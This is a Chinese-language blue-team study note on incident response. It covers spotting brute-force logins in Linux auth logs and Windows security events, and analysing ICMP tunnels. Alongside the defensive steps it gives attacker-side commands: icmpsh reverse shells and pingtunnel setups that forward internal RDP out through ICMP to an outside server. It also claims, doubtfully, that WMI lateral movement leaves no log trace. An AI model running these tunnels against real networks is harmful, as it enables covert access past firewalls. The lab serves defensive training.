蓝队技能-应急响应篇&内网攻防&爆破事件&代理隧道&流量提进程&系统日志&处置封锁

image-20251005171441542

知识点

1、应急响应-爆破事件-定性&排查

2、应急响应-代理隧道-应急&分析


  • 爆破事件在外网出现几率较低,因为外网防护相对到位如复杂密码,存在防护策略如限制登录次数,爆破大概率失败
  • 爆破事件在内网比较常见,内网口令往往取决于前期信息收集,且口令可能为弱密码

口令横向

场景说明:不管在内网还是在外网,协议口令爆破一直是攻击最常见的方式。

1、明确对应口令爆破的日志存储路径及查看

2、明确日志中有哪些属性和判断依据(筛选)

3、对于大量日志可在后面要讲到的效率项目工具

爆破事件分析

  • 爆破定性:关注登录日志的时间、次数的比例

  • 成功失败:事件ID、关键字提示如“Accept”

  • 日志查看:系统自带日志如Windows安全日志、应用日志如MSSQL日志、Redis日志、软件日志等

  • 应急处置:拉黑IP封锁协议加上防护软件或者安全策略(多次验证就会触发)

Linux平台爆破方向及分析方法

Linux-SSH

1
netstat -anpt
Linux系统日志存放位置
1
2
/var/log/auth.log       //Ubuntu
/var/log/secure //CentOS
Linux日志筛选

查看成功登陆:

1
cat /var/log/secure | grep "Accept"

查看失败登陆:

1
cat /var/log/secure | grep "Failed password for"

其他筛选登陆见打包PDF细节

Windows平台爆破方向及分析方法

Windows安全日志的详细信息会记录登录者的IP地址、主机名等信息

Windows安全日志字段含义

事件ID

事件ID字段对应着操作后的状态

  • 4624:成功事件,如登录成功、注销成功
  • 4625:失败事件,如登录失败、注销失败
登录类型

登录类型字段记录,一般关注2、3、5、10

  • 2:用户在计算机的本地控制台直接输入用户名和密码登录
  • 3:通过网络远程访问共享资源,例如访问文件共享文件夹或网络打印机,如SMB(Server Message Block)协议在进行网络文件或打印机共享访问时其登录类型就是3
  • 5:Windows服务启动时,系统为配置好的特定用户账户创建登录会话
  • 10:通过远程桌面(RDP)、终端服务或远程协助等方式登录到系统。需要注意的是,Windows XP之前的系统(如Windows 2000)会将远程桌面登录记录为类型2

Windows-RDP

  • 事件ID:4625/4624
  • 登陆类型:2/3/5/10
  • 事件日志:Windows日志>安全

Windows-SMB

  • 事件ID:4625/4624
  • 登陆类型:2/3/5/10
  • 事件日志:Windows日志>安全

Windows-MSSQL

  • 事件日志:管理>SqlServer日志

image-20251010221622752

其日志如下所示

image-20251010221801121

注意:WMI全称”windows管理规范”,从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

除上述外还有FTP、Redis、MYSQL、STMP等协议爆破事件,具体分析无非就是找对应日志存储文件后,文件中筛选失败登录请求进行排查应急,一般处理方式就是拉黑攻击IP。

==00:59:29==

隧道技术

常见代理隧道技术是ICMP隧道、DNS隧道、SSH隧道(内网隧道技术的知识点)

场景说明:内网或不出网的情况下,协议隧道技术很常见,如何定位到进程及攻击者?

1、明确隧道最常使用的协议技术

2、明确Windows,Linux中分析技术

3、对于有需要自定义排查协议可学后续开发脚本实现

ICMP比较有挑战性和代表性,我们下面进行演示,至于DNS或者其他协议的隧道或者恶意程序其实都是一样的处置方法

Linux-ICMP

本实验是做一个Linux到Linux的隧道通信,然后在目标主机上定位分析通信的特征

ICMP隧道攻击原理

ICMP隧道攻击是一种利用ICMP(Internet Control Message Protocol)协议进行隐蔽通信的网络攻击技术。由于ICMP报文(如常见的ping请求和回复)通常被防火墙允许通过,攻击者便利用这一特性,将恶意数据隐藏在这些看似正常的网络管理数据包中,从而绕过安全设备的检测,建立隐蔽通道。

对于防火墙和入侵检测系统来说,这看起来只是一系列普通的ping包交换,从而实现了通信的隐蔽性

攻击者会在目标内网中植入一个客户端程序,并在其控制的外部服务器上运行服务端程序。当需要通信时:

  • 攻击者(服务端) 将指令或数据隐藏在一个ICMP Echo Request(ping请求)包的数据字段中,发送给内网的客户端。
  • 客户端 收到后,解析出隐藏的指令并在本地执行,然后将结果隐藏在一个ICMP Echo Reply(ping回复)包的数据字段中,发送回服务端。
ICMP隧道攻击案例
使用icmpsh直接反弹Shell场景

攻击者已在内网一台Windows主机上获得了执行权限,但该主机除ICMP外其他协议均无法出网。过程:攻击者先在自己的公网服务器上运行icmpsh服务端,并暂时关闭系统本身的ping回复功能以避免干扰。随后在目标主机上运行icmpsh客户端,指向攻击者服务器。客户端会通过ICMP请求包持续“询问”服务器是否有指令。服务器通过回复包下达指令(如whoami),客户端执行后再将结果通过请求包送回。这样,攻击者就获得了一个交互式的Shell。

使用pingtunnel实现端口转发场景

内网有一台开启了远程桌面(RDP,端口3389)的服务器,但从外网无法直接访问。过程:

  • 攻击者在公网VPS上运行pingtunnel -type server。

  • 在内网的跳板机上运行pingtunnel -type client -l :4444 -s <VPS_IP> -t <内网RDP服务器IP>:3389 -tcp 1。

    此命令意为:在客户端本地开启4444端口监听,将所有到达此端口的TCP流量,通过ICMP隧道发送给VPS上的服务端,再由服务端最终转发到内网RDP服务器的3389端口。

    攻击者只需在自己的电脑上连接localhost:4444,就能穿透防线,访问到内网的远程桌面。

课程实验

实验:https://github.com/esrrhs/pingtunnel

攻击者:

1
sudo ./pingtunnel -type server -key 1234  //运行ICMP隧道工具并开始监听

这条命令以超级管理员权限,在当前目录下启动 pingtunnel程序,并将其配置为服务器模式,同时设置了一个简单的认证密钥 1234。它的核心任务是监听并处理来自客户端的特殊ICMP数据包,对其解封装,并将里面真正的流量转发到指定的目标地址。

受害者:

1
sudo ./pingtunnel -type client -l :4445 -s 121.196.209.235 -t 121.196.209.235:4444 -tcp 1 -key 1234

这条命令启动了一个名为 pingtunnel 的工具的客户端(client),其核心功能是:将本机的TCP流量封装在ICMP协议包(即ping请求和回复)中,发送给远程服务器,从而绕过网络中对常规TCP/UDP端口的限制

分析:

https://github.com/Just-Hack-For-Fun/request_monitor

https://blog.csdn.net/native_lee/article/details/124751325

安装:

1
2
3
4
5
6
sudo apt update
sudo apt install bpftrace
chmod +x request_monitor.sh
chmod +x request_monitor.bt
sudo ./request_monitor.sh xx.xx.xx.xx
ps -aux

流量:Wireshark分析

处置:封IP及防火墙限制协议

Windows-ICMP

实验:https://github.com/esrrhs/pingtunnel

1
2
sudo ./pingtunnel -type server -key 1234
pingtunnel.exe -type client -l :4445 -s 192.168.1.9 -t 192.168.1.9:4444 -tcp 1 -key 1234

分析:Microsoft Message Analyzer

流量:Wireshark分析

处置:封IP及防火墙限制协议

站内搜索

没有找到内容!